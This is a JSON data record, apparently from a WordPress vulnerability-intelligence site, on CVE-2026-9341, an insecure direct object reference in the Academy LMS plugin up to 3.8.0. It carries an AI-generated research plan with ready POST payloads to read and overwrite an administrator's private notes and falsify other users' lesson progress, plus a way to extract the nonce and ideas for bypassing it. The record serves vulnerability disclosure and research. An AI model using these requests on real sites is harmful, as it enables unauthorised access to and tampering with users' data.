[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fRLkVuAHQ1hUXUmyux8wLbS7_ceu1PXc0YNidYCEU3gA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":36},"CVE-2026-9341","academy-lms-authenticated-subscriber-insecure-direct-object-reference-via-userid-parameter","Academy LMS \u003C= 3.8.0 - Authenticated (Subscriber+) Insecure Direct Object Reference via 'user_id' Parameter","The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.8.0 via the 'save_lesson_note', 'get_lesson_note', and 'complete_lesson_video' AJAX handlers due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read, overwrite, or delete the private lesson notes of any other user (including administrators), and to falsify lesson-completion progress for arbitrary users.","academy",null,"\u003C=3.8.0","3.8.1","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-07-13 00:00:00","2026-07-14 11:30:42",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F1e9b094a-29ba-4be3-9033-fd915fae1820?source=api-prod",1,[22,23,24,25,26,27,28],"academy.php","addons\u002Fcertificates\u002Fhelper.php","addons\u002Fcertificates\u002Fpdf\u002Fgenerator.php","addons\u002Fquizzes\u002Fajax\u002Ffrontend.php","addons\u002Fquizzes\u002Fclasses\u002Fquery.php","addons\u002Fwoocommerce\u002Fintegration.php","assets\u002Fbuild\u002Fbackend-rtl.css","researched",false,3,"# Research Plan: CVE-2026-9341 - Academy LMS IDOR via 'user_id'\n\n## 1. Vulnerability Summary\nThe **Academy LMS** plugin for WordPress (versions \u003C= 3.8.0) contains an **Insecure Direct Object Reference (IDOR)** vulnerability within its AJAX handling logic. Specifically, the functions responsible for managing lesson notes (`save_lesson_note`, `get_lesson_note`) and tracking video progress (`complete_lesson_video`) accept a `user_id` parameter from the request without verifying that the authenticated user has the authority to act on behalf of that `user_id`. This allows any authenticated user (Subscriber level and above) to read, modify, or delete private notes of any other user (including Administrators) and manipulate the course progress of other students.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Actions:** \n    - `academy_save_lesson_note`\n    - `academy_get_lesson_note`\n    - `academy_complete_lesson_video`\n- **Vulnerable Parameter:** `user_id` (passed via POST\u002FGET payload)\n- **Required Authentication:** Subscriber level or higher.\n- **Preconditions:** \n    - The plugin must be active.\n    - For note retrieval\u002Fmanipulation, a `lesson_id` (Post ID of a lesson) must be known.\n    - For progress manipulation, a `course_id` and `lesson_id` must be known.\n\n## 3. Code Flow\n1.  **Registration:** The plugin registers AJAX handlers in `Academy\\Ajax::init()` (referenced in `academy.php` line 99).\n2.  **Entry Point:** When an AJAX request for `academy_get_lesson_note` is received, the handler (likely in `includes\u002Fajax.php` or a related class) parses the input.\n3.  **Data Extraction:** The handler uses a utility like `Academy\\Classes\\Sanitizer::sanitize_payload` (seen in `addons\u002Fquizzes\u002Fajax\u002Ffrontend.php`) to extract parameters including `user_id`, `lesson_id`, and `course_id`.\n4.  **Vulnerable Sink:** \n    - In `get_lesson_note`, the code queries the database (likely `{$wpdb->prefix}academy_lesson_notes`) using the provided `user_id` rather than calling `get_current_user_id()`.\n    - In `complete_lesson_video`, the code updates the lesson completion status for the provided `user_id`.\n5.  **Authorization Failure:** The code fails to check if `(int)$payload['user_id'] === (int)get_current_user_id()`.\n\n## 4. Nonce Acquisition Strategy\nThe Academy LMS plugin typically localizes a nonce for its AJAX operations.\n\n1.  **Identify the Script:** The plugin enqueues a frontend script for lessons.\n2.  **Identify the Localization Variable:** Based on common Academy LMS patterns, the variable is likely `academy_data` or `academy_ajax_object`.\n3.  **Extraction Steps:**\n    - Use `wp-cli` to create a test course and lesson to ensure the scripts load.\n    - Navigate to the lesson page using `browser_navigate`.\n    - Use `browser_eval` to extract the nonce:\n      ```javascript\n      \u002F\u002F Recommended check\n      window.academy_data?.nonce || window.academy_ajax_object?.nonce\n      ```\n4.  **Alternative:** Check the page source for `wp_create_nonce('academy_ajax_nonce')`.\n\n## 5. Exploitation Strategy\n\n### Step 1: Data Harvesting (Information Disclosure)\n**Target:** Read an Administrator's private lesson note.\n- **Request Tool:** `http_request`\n- **Method:** POST\n- **URL:** `https:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Body (URL-encoded):**\n  ```text\n  action=academy_get_lesson_note&user_id=1&lesson_id=\u003CTARGET_LESSON_ID>&nonce=\u003CEXTRACTED_NONCE>\n  ```\n- **Expected Response:** JSON object containing the `note_content` of the Administrator (User ID 1).\n\n### Step 2: Content Manipulation (Data Integrity)\n**Target:** Overwrite an Administrator's note.\n- **Body (URL-encoded):**\n  ```text\n  action=academy_save_lesson_note&user_id=1&lesson_id=\u003CTARGET_LESSON_ID>&note_content=Pwned+by+Subscriber&nonce=\u003CEXTRACTED_NONCE>\n  ```\n\n### Step 3: Progress Falsification\n**Target:** Mark a lesson as complete for another user.\n- **Body (URL-encoded):**\n  ```text\n  action=academy_complete_lesson_video&user_id=\u003COTHER_USER_ID>&lesson_id=\u003CLESSON_ID>&course_id=\u003CCOURSE_ID>&nonce=\u003CEXTRACTED_NONCE>\n  ```\n\n## 6. Test Data Setup\n1.  **Create Users:**\n    - Admin (ID 1)\n    - Subscriber (Attacker)\n2.  **Create Content:**\n    - Create a Course (`wp post create --post_type=academy_courses --post_title=\"Test Course\" --post_status=publish`)\n    - Create a Lesson (`wp post create --post_type=academy_lessons --post_title=\"Secret Lesson\" --post_status=publish`)\n3.  **Admin Action:** \n    - As Admin, create a lesson note. This might require manually inserting into the `wp_academy_lesson_notes` table if no CLI command exists:\n      ```bash\n      wp db query \"INSERT INTO wp_academy_lesson_notes (user_id, lesson_id, note_content) VALUES (1, \u003CLESSON_ID>, 'Admin secret credentials')\"\n      ```\n\n## 7. Expected Results\n- **Success (Read):** The HTTP response returns a `200 OK` status with a JSON payload containing the string \"Admin secret credentials\".\n- **Success (Write):** Subsequent calls to `get_lesson_note` return the attacker-supplied \"Pwned\" string.\n- **Success (Progress):** The response returns `{\"success\":true}`.\n\n## 8. Verification Steps\n1.  **Verify Note Change:**\n    ```bash\n    wp db query \"SELECT note_content FROM wp_academy_lesson_notes WHERE user_id=1 AND lesson_id=\u003CLESSON_ID>\"\n    ```\n2.  **Verify Progress Change:**\n    - Check the completion status table (likely `wp_academy_enrolled_courses` or a progress meta field):\n    ```bash\n    wp user meta get \u003CTARGET_USER_ID> _academy_lesson_completed_\u003CLESSON_ID>\n    ```\n\n## 9. Alternative Approaches\n- **Bypassing Nonce:** If the nonce is tied to a specific action like `academy_nonce`, try omitting it. Many Academy LMS handlers in older versions used `check_ajax_referer` with `die=false` or inconsistent action strings.\n- **Parameter Brute Force:** If `user_id` isn't the only key, check for `student_id` (used in `addons\u002Fcertificates\u002Fhelper.php` line 25) or `author_id`.\n- **Quizzes Extension:** Check `addons\u002Fquizzes\u002Fajax\u002Ffrontend.php`. While it uses `get_current_user_id()` in `render_quiz`, check if `insert_quiz_answers` or `get_student_quiz_attempt_details` can be coerced into using a provided `user_id` if passed in the `payload_data`.","gemini-3-flash-preview","2026-07-15 07:58:11","2026-07-15 07:58:48",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","3.8.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Facademy\u002Ftags\u002F3.8.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Facademy.3.8.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Facademy\u002Ftags\u002F3.8.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Facademy.3.8.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Facademy\u002Ftags"]